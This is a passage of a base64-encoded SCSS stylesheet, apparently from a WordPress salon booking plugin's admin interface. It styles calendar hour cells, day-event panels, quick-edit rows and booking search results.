i5jYWwtZGF5LWhvdXItcGFydC5vZmYtaG91cnM6aG92ZXIsXG4uY2FsLWRheS1ob3VyLXBhcnQuc2VsZWN0ZWQ6aG92ZXIge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjA3ODgyICFpbXBvcnRhbnQ7XG59XG5cbi5jYWwtZGF5LWhvdXItcGFydC5ibG9ja2VkLFxuLmNhbC1kYXktaG91ci1wYXJ0Lm9mZi1ob3VycyB7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfcHJvYmxlbS0tbGlnaHQ7XG4gIG9wYWNpdHk6IDAuMzU7XG4gIHVzZXItc2VsZWN0OiBub25lO1xuICAtbW96LXVzZXItc2VsZWN0OiBub25lO1xuICAtd2Via2l0LXVzZXItc2VsZWN0OiBub25lO1xuICAtbXMtdXNlci1zZWxlY3Q6IG5vbmU7XG4gICY6aG92ZXIge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfcHJvYmxlbS0tbGlnaHQ7XG4gIH1cbn1cbi5jYWwtZGF5LWNsaWNrLXRpcCB7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAvL3Bvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgLy90b3A6IDUwJTtcbiAgLy90cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTUwJSk7XG4gIC8vbGVmdDogNDAlO1xuICBmb250LXNpemU6IDFlbTtcbiAgZGlzcGxheTogbm9uZTtcbiAgJjphZnRlciB7XG4gICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICBsZWZ0OiAtMS4ycmVtO1xuICB9XG59XG4uY2FsLWRheS1ob3VyLXBhcnQuc2VsZWN0ZWQ6aG92ZXIgYnV0dG9uW2RhdGEtYWN0aW9uPSdhZGQtZXZlbnQtYnktZGF0ZSddLFxuLmNhbC1kYXktaG91ci1wYXJ0LmJsb2NrZWQ6aG92ZXIgYnV0dG9uW2RhdGEtYWN0aW9uPSdhZGQtZXZlbnQtYnktZGF0ZSddIHtcbiAgZGlzcGxheTogbm9uZSAhaW1wb3J0YW50O1xufVxuLmNhbC1kYXktaG91ci1wYXJ0LmJsb2NrZWQ6aG92ZXIge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX3Byb2JsZW0tLWxpZ2h0ICFpbXBvcnRhbnQ7XG59XG4uY2FsZW5kYXItaG9seWRheXMtYnV0dG9uIHtcbiAgei1pbmRleDogdW5zZXQ7XG4gIC8vIGZvbnQtc2l6ZTogMWVtO1xuICAvLyBsaW5lLWhlaWdodDogMWVtO1xuICA6bm90KC5zbG4tYnRuLS1jYWxlbmRhci12aWV3LS1waWxsKSB7XG4gICAgYm9yZGVyOiBub25lO1xuICB9XG4gIC8vQGluY2x1ZGUgYnAodGFibGV0KSB7XG4gIHJpZ2h0OiBhdXRvO1xuICByaWdodDogaW5pdGlhbDtcbiAgbGVmdDogdW5zZXQ7XG4gIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKTtcbiAgLy99XG4gIC8vIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgLy8gaGVpZ2h0OiA0OHB4O1xuICAvLyB3aWR0aDogMTYwcHg7XG4gIC8vIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gIC8vIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG59XG4uY2FsZW5kYXItaG9seWRheXMtYnV0dG9uLm9ubHlvbmUge1xuICAvL3RyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsLTApO1xuICBjdXJzb3I6IHBvaW50ZXI7XG4gICY6aG92ZXIsXG4gICY6YWN0aXZlLFxuICAmOmZvY3VzIHtcbiAgICBvdXRsaW5lOiAwO1xuICAgIC8vIEZJWDogUHJldmVudCBidXR0b24gbW92ZW1lbnQgb24gaG92ZXIgYnkgZGlzYWJsaW5nIHNjYWxlIHRyYW5zZm9ybVxuICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKSBzY2FsZSgxKSAhaW1wb3J0YW50O1xuICAgIGJvcmRlcjogbm9uZSAhaW1wb3J0YW50O1xuICB9XG59XG4vLyBBbHNvIGZpeCBmb3Igbm9uLW9ubHlvbmUgYnV0dG9uc1xuLmNhbGVuZGFyLWhvbHlkYXlzLWJ1dHRvbiB7XG4gICY6aG92ZXIsXG4gICY6YWN0aXZlLFxuICAmOmZvY3VzIHtcbiAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTUwJSkgc2NhbGUoMSkgIWltcG9ydGFudDtcbiAgfVxufVxuXG5odG1sLmluLWlmcmFtZSB7XG4gIG92ZXJmbG93LXk6IHNjcm9sbDtcbiAgLXdlYmtpdC1vdmVyZmxvdy1zY3JvbGxpbmc6IHRvdWNoO1xufVxuI2NhbC1kYXktYm94ICNjYWwtZGF5LXBhbmVsIC5kYXktZXZlbnQge1xuICB3aWR0aDogMjAwcHggIWltcG9ydGFudDtcbiAgbWF4LXdpZHRoOiAyMDBweCAhaW1wb3J0YW50O1xuICAvLyBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHZpZXdCb3g9JzAgMCAzNiA4JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMTggNkMxOS4xMDQ2IDYgMjAgNS4xMDQ1NyAyMCA0QzIwIDIuODk1NDMgMTkuMTA0NiAyIDE4IDJDMTYuODk1NCAyIDE2IDIuODk1NDMgMTYgNEMxNiA1LjEwNDU3IDE2Ljg5NTQgNiAxOCA2Wicgc3Ryb2tlPScje2FkbWluX2NvbmZpZy4kY2xfbWFpbn0nIHN0cm9rZS13aWR0aD0nNCcgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0NwYXRoIGQ9J00zMiA2QzMzLjEwNDYgNiAzNCA1LjEwNDU3IDM0IDRDMzQgMi44OTU0MyAzMy4xMDQ2IDIgMzIgMkMzMC44OTU0IDIgMzAgMi44OTU0MyAzMCA0QzMwIDUuMTA0NTcgMzAuODk1NCA2IDMyIDZaJyBzdHJva2U9JyN7YWRtaW5fY29uZmlnLiRjbF9tYWlufScgc3Ryb2tlLXdpZHRoPSc0JyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQ3BhdGggZD0nTTQgNkM1LjEwNDU3IDYgNiA1LjEwNDU3IDYgNEM2IDIuODk1NDMgNS4xMDQ1NyAyIDQgMkMyLjg5NTQzIDIgMiAyLjg5NTQzIDIgNEMyIDUuMTA0NTcgMi44OTU0MyA2IDQgNlonIHN0cm9rZT0nI3thZG1pbl9jb25maWcuJGNsX21haW59JyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgLy8gYmFja2dyb3VuZC1zaXplOiAycmVtO1xuICAvLyBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xuICAvLyBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjYWxjKDEwMCUgLSAxcmVtKSBjYWxjKDEwMCUgLSAxcmVtKTtcbiAgJjo6YmVmb3JlIHtcbiAgICBjb250ZW50OiAnJztcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgd2lkdGg6IDJyZW07XG4gICAgaGVpZ2h0OiAwLjVyZW07XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHJpZ2h0OiAxcmVtO1xuICAgIGJvdHRvbTogMXJlbTtcbiAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHZpZXdCb3g9JzAgMCAzNiA4JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMTggNkMxOS4xMDQ2IDYgMjAgNS4xMDQ1NyAyMCA0QzIwIDIuODk1NDMgMTkuMTA0NiAyIDE4IDJDMTYuODk1NCAyIDE2IDIuODk1NDMgMTYgNEMxNiA1LjEwNDU3IDE2Ljg5NTQgNiAxOCA2Wicgc3Ryb2tlPScje2FkbWluX2NvbmZpZy4kY2xfbWFpbn0nIHN0cm9rZS13aWR0aD0nNCcgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0NwYXRoIGQ9J00zMiA2QzMzLjEwNDYgNiAzNCA1LjEwNDU3IDM0IDRDMzQgMi44OTU0MyAzMy4xMDQ2IDIgMzIgMkMzMC44OTU0IDIgMzAgMi44OTU0MyAzMCA0QzMwIDUuMTA0NTcgMzAuODk1NCA2IDMyIDZaJyBzdHJva2U9JyN7YWRtaW5fY29uZmlnLiRjbF9tYWlufScgc3Ryb2tlLXdpZHRoPSc0JyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQ3BhdGggZD0nTTQgNkM1LjEwNDU3IDYgNiA1LjEwNDU3IDYgNEM2IDIuODk1NDMgNS4xMDQ1NyAyIDQgMkMyLjg5NTQzIDIgMiAyLjg5NTQzIDIgNEMyIDUuMTA0NTcgMi44OTU0MyA2IDQgNlonIHN0cm9rZT0nI3thZG1pbl9jb25maWcuJGNsX21haW59JyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICBiYWNrZ3JvdW5kLXNpemU6IDJyZW07XG4gICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgY2VudGVyO1xuICB9XG4gICYuYnJlYWstZG93biB7XG4gICAgJjo6YmVmb3JlIHtcbiAgICAgIGJvdHRvbTogMnJlbTtcbiAgICB9XG4gIH1cbn1cbiNjYWwtZGF5LWJveCAjY2FsLWRheS1wYW5lbCAuZGF5LWhpZ2hsaWdodC5kYXktZXZlbnQsXG4jY2FsLWRheS1ib3ggI2NhbC1kYXktcGFuZWwgLmRheS1ldmVudCB7XG4gIGJvcmRlci1sZWZ0OiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9kX2JnLS1tYWluLS1saWdodCAhaW1wb3J0YW50O1xufVxuLy8gLmRheS1ldmVudC1wYW5lbC1ib3JkZXIgKyAuZGF5LWV2ZW50IHtcbi8vIH1cbi5kYXktZXZlbnQtaXRlbSB7XG4gIGhlaWdodDogMTAwJTtcbiAgZGlzcGxheTogZmxleDtcbiAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcbn1cblxuLmRheS1ldmVudC1pdGVtX19mcm9tLXRpbWUge1xuICBkaXNwbGF5OiBibG9jaztcbiAgZm9udC1zaXplOiAxMnB4O1xuICBsaW5lLWhlaWdodDogMS4yZW07XG4gIG1hcmdpbjogNXB4IDAgMDtcbiAgY29sb3I6ICMwMDA7XG59XG5cbi5kYXktZXZlbnQtaXRlbV9fdG8tdGltZSB7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICBmb250LXNpemU6IDEycHg7XG4gIGxpbmUtaGVpZ2h0OiAxLjJlbTtcbiAgY29sb3I6ICMwMDA7XG59XG5cbi5kYXktZXZlbnQtaXRlbV9fc3RhdHVzLWJsb2NrIHtcbiAgZmxleC1ncm93OiAxO1xuICBkaXNwbGF5OiBmbGV4O1xuICBmbGV4LWRpcmVjdGlvbjogY29sdW1uLXJldmVyc2U7XG4gIG92ZXJmbG93OiBoaWRkZW47XG59XG5cbi5kYXktZXZlbnQtaXRlbV9fc3RhdHVzLWJsb2NrX19zdGF0dXMge1xuICBkaXNwbGF5OiBibG9jaztcbiAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcbiAgZm9udC1zaXplOiAxMXB4O1xuICBmb250LXdlaWdodDogYm9sZDtcbiAgbGluZS1oZWlnaHQ6IDEuMWVtO1xuICBwYWRkaW5nLWJvdHRvbTogMC41ZW07XG59XG5cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodDpob3ZlciB7XG4gIHRleHQtZGVjb3JhdGlvbjogbm9uZSAhaW1wb3J0YW50O1xufVxuXG4vLyAuZGF5LWhpZ2hsaWdodDpob3ZlciB7XG4vLyB9XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tY2hlY2tvdXQtZmllbGRzLS1yb3cgLnNsbi1jaGVja2JveCxcbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tY2hlY2tvdXQtZmllbGRzLS1yb3cgLmZvcm0tZ3JvdXAge1xuICBtYXJnaW4tYm90dG9tOiAwO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLWNoZWNrb3V0LWZpZWxkc1xuICAuc2xuLWNoZWNrb3V0LWZpZWxkcy0tcm93XG4gIC5zbG4tY2hlY2tib3hcbiAgbGFiZWwge1xuICBtYXJnaW4tdG9wOiAwO1xufVxuXG4jd3Bib2R5LWNvbnRlbnRcbiAgLnF1aWNrLWVkaXQtcm93LXBhZ2UuaW5saW5lLWVkaXQtc2xuX2F0dGVuZGFudFxuICAuaW5saW5lLWVkaXQtY29sLWxlZnQsXG4jd3Bib2R5LWNvbnRlbnRcbiAgLnF1aWNrLWVkaXQtcm93LXBhZ2UuaW5saW5lLWVkaXQtc2xuX2F0dGVuZGFudFxuICAuaW5saW5lLWVkaXQtY29sLXJpZ2h0IHtcbiAgZGlzcGxheTogbm9uZTtcbn1cblxuI3dwYm9keS1jb250ZW50XG4gIC5xdWljay1lZGl0LXJvdy1wYWdlLmlubGluZS1lZGl0LXNsbl9hdHRlbmRhbnRcbiAgLnNsbi1pbmxpbmUtYXR0ZW5kYW50LWVkaXQtY29sIHtcbiAgZGlzcGxheTogYmxvY2s7XG59XG5cbiN3cGJvZHktY29udGVudFxuICAucXVpY2stZWRpdC1yb3ctcGFnZS5pbmxpbmUtZWRpdC1zbG5fc2VydmljZVxuICAuaW5saW5lLWVkaXQtY29sLWxlZnQsXG4jd3Bib2R5LWNvbnRlbnRcbiAgLnF1aWNrLWVkaXQtcm93LXBhZ2UuaW5saW5lLWVkaXQtc2xuX3NlcnZpY2VcbiAgLmlubGluZS1lZGl0LWNvbC1yaWdodCB7XG4gIGRpc3BsYXk6IG5vbmU7XG59XG5cbiN3cGJvZHktY29udGVudFxuICAucXVpY2stZWRpdC1yb3ctcGFnZS5pbmxpbmUtZWRpdC1zbG5fc2VydmljZVxuICAuc2xuLWlubGluZS1zZXJ2aWNlLWVkaXQtY29sIHtcbiAgZGlzcGxheTogYmxvY2s7XG59XG5cbi8qXG4uc2xuLWhlbHAtYnV0dG9uIHtcbiAgICBib3JkZXI6IG5vbmU7XG4gICAgcGFkZGluZzogN3B4IDE4cHg7XG4gICAgYm9yZGVyLXJhZGl1czogMTVweDtcbiAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgY3Vyc29yOiBwb2ludGVyO1xuICAgIGJhY2tncm91bmQtY29sb3I6ICM0YmJhNzc7XG4gICAgY29sb3I6IHdoaXRlO1xuICAgIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG59XG5cbi5zbG4taGVscC1idXR0b25fX2ljb24ge1xuICAgIG1hcmdpbi1yaWdodDogNXB4O1xuICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xufVxuXG4uc2xuLWhlbHAtYnV0dG9uLmFjdGl2ZSAuc2xuLWhlbHAtYnV0dG9uX19pY29uLW9wZW4sXG4uc2xuLWhlbHAtYnV0dG9uX19pY29uLWNsb3NlIHtcbiAgICBkaXNwbGF5OiBub25lO1xufVxuXG4uc2xuLWhlbHAtYnV0dG9uLmFjdGl2ZSAuc2xuLWhlbHAtYnV0dG9uX19pY29uLWNsb3NlIHtcbiAgICBkaXNwbGF5OiBpbmxpbmU7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4taGVscC1idXR0b24gLnNsbi1oZWxwLWJ1dHRvbl9faWNvbiBpbWcsXG4uc2xuLWhlbHAtYnV0dG9uIC5zbG4taGVscC1idXR0b25fX2ljb24gaW1nIHtcbiAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xuICAgIG1hcmdpbi1yaWdodDogMDtcbn1cblxuLnNsbi1oZWxwLWJ1dHRvbjpob3ZlciB7XG4gICAgY29sb3I6IHdoaXRlO1xufVxuXG4uc2xuLWhlbHAtYnV0dG9uLWluLWhlYWRlci1wYWdlIHtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiAyMHB4O1xuICAgIHJpZ2h0OiAzMjBweDtcbiAgICB6LWluZGV4OiAxMDAwO1xufVxuXG5cblxuLnNsbi1oZWxwLWJ1dHRvblxuICAgIC5zbG4taGVscC1idXR0b25fX2ljb24tY2xvc2VcbiAgICAuZGFzaGljb25zLmRhc2hpY29ucy1uby1hbHQ6YmVmb3JlIHtcbiAgICBjb250ZW50OiBcIlxcZjMzNVwiO1xufVxuLmJ0bi1ncm91cC5zbG4tbmF2LXRhYi13cmFwcGVyLm5hdi10YWItd3JhcHBlclxuICAgIC5zbG4taGVscC1idXR0b25fX2Jsb2NrXG4gICAgLnNsbi1oZWxwLWJ1dHRvbi5hY3RpdmUge1xuICAgIGJhY2tncm91bmQtY29sb3I6ICM0YmJhNzc7XG59XG4qL1xuZGl2I2JlYWNvbi1jb250YWluZXIgLkJlYWNvbiAuQmVhY29uQ29udGFpbmVyIHtcbiAgYm90dG9tOiAxNXB4O1xufVxuLkJlYWNvbkZhYkJ1dHRvbkZyYW1lIHtcbiAgZGlzcGxheTogbm9uZTtcbn1cbi5zbG4tY2FsZW5kYXItc2VhcmNoLXJlc3VsdHMtbGlzdCB7XG4gIC8vYmFja2dyb3VuZC1jb2xvcjogI2Y3ZjhmOTtcbiAgLy9ib3JkZXI6IDFweCBzb2xpZCAjYmFjNWQwO1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIHdpZHRoOiAxMDAlO1xuICB6LWluZGV4OiAxMTExO1xuICB0b3A6IDEwMCU7XG4gIC8vcGFkZGluZzogMS41cmVtO1xuICBtaW4taGVpZ2h0OiAzcmVtO1xuICBtaW4td2lkdGg6IDU1MHB4O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfYmctLWxpZ2h0LTI7XG4gIGRpc3BsYXk6IG5vbmU7XG4gIG1heC1oZWlnaHQ6IDM5MXB4O1xuICBvdmVyZmxvdy15OiBzY3JvbGw7XG4gIGJvcmRlci1yYWRpdXM6IDAgMCAyLjc1cmVtIDIuNzVyZW07XG5cbiAgJi5vcGVuZWQge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICB9XG5cbiAgPiAubGlzdC11bnN0eWxlZCB7XG4gICAgbWFyZ2luOiAwO1xuICAgIC8vbWF4LWhlaWdodDogbm9uZTtcbiAgICBwYWRkaW5nLWxlZnQ6IDA7XG4gICAgcG9zaXRpb246IHN0YXRpYztcbiAgfVxuXG4gIC5zZWFyY2gtcmVzdWx0IHtcbiAgICAvLyAmICsgLnNlYXJjaC1yZXN1bHQge1xuICAgIC8vIFx0Ly9tYXJnaW4tdG9wOiAxLjVyZW07XG4gICAgLy8gfVxuXG4gICAgLnNlYXJjaC1yZXN1bHQtbGlua3Mge1xuICAgICAgZGlzcGxheTogZmxleDtcbiAgICB9XG5cbiAgICAuc2VhcmNoLXJlc3VsdC1saW5rcyBhIHtcbiAgICAgIC8vZm9udC1zaXplOiAxMnB4O1xuICAgICAgLy9mb250LXdlaWdodDogNzAwO1xuICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgICAgLy9saW5lLWhlaWdodDogMTtcbiAgICAgIC8vZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgd2lkdGg6IGF1dG87XG4gICAgICBoZWlnaHQ6IGF1dG87XG4gICAgICBtYXJnaW4tcmlnaHQ6IDA7XG4gICAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cbiAgICAgICY6bm90KDpsYXN0LW9mLXR5cGUpIHtcbiAgICAgICAgbWFyZ2luLXJpZ2h0OiA2cHg7XG4gICAgICAgIHBhZGRpbmctcmlnaHQ6IDZweDtcbiAgICAgICAgYm9yZGVyLXJpZ2h0OiAxcHggc29saWQ7XG4gICAgICB9XG4gICAgfVxuXG4gICAgcCB7XG4gICAgICAvL2NvbG9yOiAjMmE1NDZjO1xuICAgICAgLy9wYWRkaW5nOiA0cHggMCAwO1xuICAgICAgLy9mb250LXNpemU6IDEycHg7XG5cbiAgICAgICYuc2VhcmNoLXJlc3VsdC0tY3VzdG9tZXIge1xuICAgICAgICBmb250LXNpemU6IDE2cHg7XG4gICAgICAgIHBhZGRpbmctYm90dG9tOiA0cHg7XG4gICAgICB9XG5cbiAgICAgICYuc2VhcmNoLXJlc3VsdC0tYW1vdW50IHtcbiAgICAgICAgZm9udC13ZWlnaHQ6IDcwMDtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgPiBwIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgcGFkZGluZy10b3A6IDFyZW07XG4gICAgcGFkZGluZy1ib3R0b206IDFyZW07XG4gIH1cbiAgLnNsbi1sb2FkZXItd3JhcHBlciB7XG4gICAgLy9wb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgLy90b3A6IDEuNXJlbTtcbiAgICAvL3JpZ2h0OiAxLjVyZW07XG4gICAgLy9ib3R0b206IDEuNXJlbTtcbiAgICAvL2xlZnQ6IDEuNXJlbTtcbiAgICAvL29wYWNpdHk6IDAuNzU7XG4gICAgLy96LWluZGV4OiA5OTk5OTk7XG4gICAgLnNsbi1sb2FkZXIge1xuICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogMnJlbSBhdXRvO1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIGNvbHVtbi1nYXA6IDFyZW07XG4gICAgICBtaW4taGVpZ2h0OiAzcmVtO1xuICAgICAgcGFkZGluZzogMC43NXJlbTtcbiAgICAgIG9wYWNpdHk6IDAuNzU7XG4gICAgICB6LWluZGV4OiA5OTk5OTk7XG4gICAgICBzcGFuIHtcbiAgICAgICAgZ3JpZC1jb2x1bW46IDI7XG4gICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICBmb250LXNpemU6IDFyZW07XG4gICAgICB9XG4gICAgICAmOjphZnRlciB7XG4gICAgICAgIHdpZHRoOiAycmVtO1xuICAgICAgICBoZWlnaHQ6IDJyZW07XG4gICAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgICAgZm9udC1zaXplOiAycmVtO1xuICAgICAgICBsaW5lLWhlaWdodDogMnJlbTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cblxuLnNsbi1jYWxlbmRhci1ib29raW5nLXNlYXJjaC13cmFwcGVyIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIGJvcmRlcjogbm9uZTtcbiAgYm9yZGVyLXJhZGl1czogOTk5OXB4O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfYmctLWxpZ2h0O1xuICBtaW4taGVpZ2h0OiAyLjVyZW07XG4gIHdpZHRoOiAxMDAlO1xufVxuXG4vLyAuY2FsLWRheS1zZWFyY2gge1xuLy8gICBtYXJnaW4tcmlnaHQ6IC0wLjgzMzMzcmVtO1xuLy8gICBtYXJnaW4tYm90dG9tOiAwLjgzMzMzcmVtO1xuLy8gICBtYXJnaW4tbGVmdDogLTAuODMzMzNyZW07XG4vLyAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4vLyAgICAgbWFyZ2luOiAwO1xuLy8gICB9XG4vLyB9XG5cbi5zbG4tY2FsZW5kYXItYm9va2luZy1zZWFyY2gtaW5wdXQtd3JhcHBlciB7XG4gIHdpZHRoOiBjYWxjKDEwMCUgLSAzMHB4KTtcbiAgcGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpXG4gICAgc2V0dGluZ3MtbWl4aW5zLnJlbSg1cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgcGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSg5cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG4gIH1cbn1cblxuLyogRklYIDA5MjAyM1xuLnNsbi1sb2FkZXIge1xuICAgIGZvbnQtc2l6ZTogMXB4O1xuICAgIEBleHRlbmQgJWFic29sdXRlLWNlbnRlcmluZztcbiAgICBoZWlnaHQ6IDc1cHg7XG4gICAgJjphZnRlciB7XG4gICAgICAgIEBpbmNsdWRlIGZvbnQtaWNvbig3NWVtKTtcbiAgICAgICAgY29udGVudDogXCJcXGYxY2VcIjtcbiAgICAgICAgQGV4dGVuZCAldGV4dC1jb2xvci0tZW1waGFzaXM7XG4gICAgICAgIC13ZWJraXQtYW5pbWF0aW9uOiB3YWl0IDJzIGluZmluaXRlIGxpbmVhcjtcbiAgICAgICAgYW5pbWF0aW9uOiB3YWl0IDJzIGluZmluaXRlIGxpbmVhcjtcbiAgICAgICAgQGluY2x1ZGUgaWUxMSgpIHtcbiAgICAgICAgICAgIEBpbmNsdWRlIGZvbnQtaWNvbig3NXB4KTtcbiAgICAgICAgfVxuICAgICAgICBsaW5lLWhlaWdodDogNzVweDtcbiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIH1cbn1cbiovXG5cbi8qIGRpbWl0cmkgLSByZXN0eWxlIGJvb2tpbmcgc2VhcmNoIHJlc3VsdHMgKi9cbi5zbG4tY2FsZW5kYXItc2VhcmNoLXJlc3VsdHMtbGlzdCB7XG4gIHBhZGRpbmc6IDFyZW0gMi41cmVtIDJyZW0gMi41cmVtO1xufVxuLnNlYXJjaC1yZXN1bHQge1xuICBtYXJnaW4tYm90dG9tOiAwO1xufVxuLnNlYXJjaC1yZXN1bHQtY29udGVudCB7XG4gIG1pbi1oZWlnaHQ6IDEwMCU7XG4gIC8vYmFja2dyb3VuZDogI2YwZjBmMDtcbiAgLy8td2Via2l0LWJveC1zaGFkb3c6IDFweCA3cHggMnB4IC0xcHggI2QzZDNkMztcbiAgLy9ib3gtc2hhZG93OiAxcHggN3B4IDJweCAtMXB4ICNkM2QzZDM7XG4gIG1hcmdpbi1ib3R0b206IDA7XG4gIHBhZGRpbmc6IDEwcHggMCA1cHggMDtcbiAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfZF9tYWluLS1kMTtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX2JnLS1saWdodC0yO1xufVxuI2NhcmRfcHJlbm90YXppb25lIC5yaWdhIHtcbiAgLy93aWR0aDogMTAwJTtcbiAgZGlzcGxheTogZmxleDtcbiAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuICBmbGV4LWZsb3c6IHJvdztcbiAgLy9tYXJnaW4tYm90dG9tOiAyMHB4O1xufVxuI2NhcmRfcHJlbm90YXppb25lIC5yaWdhLnRlcnphIHtcbiAgcGFkZGluZzogMHB4O1xuICBtYXJnaW4tdG9wOiA0MHB4O1xufVxuXG4jY2FyZF9wcmVub3RhemlvbmUgLmJyZWFrIHtcbiAgZmxleC1iYXNpczogMTAwJTtcbiAgaGVpZ2h0OiAwcHg7XG59XG4vLyAjY2FyZF9wcmVub3RhemlvbmUgLmJsb2NjbyB7XG4vLyBcdC8vd2lkdGg6IDE2JTtcbi8vIH1cbi8vICNjYXJkX3ByZW5vdGF6aW9uZSAuYmxvY2NvOmZpcnN0LWNoaWxkIHtcbi8vIFx0Ly93aWR0aDogMzAlO1xuLy8gfVxuI2NhcmRfcHJlbm90YXppb25lIC5ibG9jY29fc2Vydml6aSB7XG4gIG1pbi13aWR0aDogMjAlO1xuICBmbG9hdDogbGVmdDtcbn1cbiNjYXJkX3ByZW5vdGF6aW9uZSAuYm90dG9uZSB7XG4gIGZsb2F0OiBsZWZ0O1xuICBtYXJnaW4tcmlnaHQ6IDIwcHg7XG4gIGxldHRlci1zcGFjaW5nOiAxcHg7XG4gIGZvbnQtc2l6ZTogMTZweDtcbn1cblxuI2NhcmRfcHJlbm90YXppb25lIHAuY2FyZF92YWx1ZSB7XG4gIGNvbG9yOiAjNzE4ZTlmO1xuICBmb250LXNpemU6IDE0cHg7XG4gIC8vbWFyZ2luLWJvdHRvbTogL